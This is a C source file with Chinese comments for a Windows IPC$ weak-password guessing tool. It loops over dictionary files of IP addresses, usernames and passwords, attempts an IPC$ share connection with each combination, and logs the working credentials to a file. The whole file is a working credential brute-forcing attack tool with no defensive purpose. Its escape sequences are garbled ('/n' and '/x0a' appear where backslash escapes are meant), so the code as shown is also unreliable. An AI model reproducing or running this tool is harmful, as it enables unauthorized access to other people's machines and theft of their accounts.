//****** 網蟬工具--135弱口令猜解器 ******
//ip.txt紀錄要猜測的IP地址。
//user.txt紀錄要猜測的用戶名。
//password.txt紀錄要猜測的密碼。
//3個文件格式爲標準的字典文件, 方便與修改和承接其他掃描器掃出的結果。
//****************************************************
#include "windows.h"
#include "stdio.h"
#include <winnetwk.h>
#pragma comment(lib,"mpr")
int main(int argc, char* argv[])
{
NETRESOURCE nr;
DWORD res;
TCHAR server[100]="";
FILE *ipfile,*userfile,*passfile,*ipokfile;
TCHAR ipString[15],userString[32],passString[32],okip[200];
if((ipfile=fopen("ip.txt","r"))==NULL)
{
printf("ip.txt文件不存在!");
exit(0);
}
// fseek(ipfile,0,SEEK_SET);
while (fgets(ipString,sizeof(ipString),ipfile)!=NULL)
{
if((userfile=fopen("user.txt","r"))==NULL)
{
printf("user.txt文件不存在!");
exit(0);
}
// fseek(userfile,0,SEEK_SET);
while(fgets(userString,sizeof(userString),userfile)!=NULL)
{
if((passfile=fopen("password.txt","r"))==NULL)
{
printf("password.txt文件不存在!");
exit(0);
}
// fseek(passfile,0,SEEK_SET);
while(fgets(passString,sizeof(passString),passfile)!=NULL)
{
strtok(ipString,"/n");
strtok(userString,"/x0a");
strtok(passString,"/x0a");
// printf("%s",ipString);
// printf("%s",userString);
// printf("%s",passString);
sprintf(server,"////%s//ipc$",ipString);
strtok(server,"/x0a");
// printf("%s",server);
nr.dwType=RESOURCETYPE_ANY;
nr.lpLocalName=NULL;
nr.lpRemoteName=server;
nr.lpProvider=NULL;
res=WNetAddConnection2(&nr,passString,userString,0);//創建IPC連接
// if(res!=ERROR_SUCCESS)
// {
// printf("/nipc連接失敗/n");
// return 0;
// }
// else
// printf("/npic$連接成功/n");
res=WNetCancelConnection2(server,0,TRUE);//斷開IPC連接
if(res!=ERROR_SUCCESS)
{
printf("%s IPC連接失敗/n",ipString);
}
else
{
// printf("/n成功了/n");
sprintf(okip,"%s %s %s/n",ipString,userString,passString);
// printf("%s",okip);
if((ipokfile=fopen("ipok.txt","a"))==NULL)//將輸出結果寫入ipok.txt
{
printf("ipok.txt文件正在被別的文件所佔用");
exit(0);
}
// fseek(ipokfile,0,SEEK_END);
fputs(okip,ipokfile);
fclose(ipokfile);
}
}
fclose(passfile);
}
fclose(userfile);
}
fclose(ipfile);
return 0;
}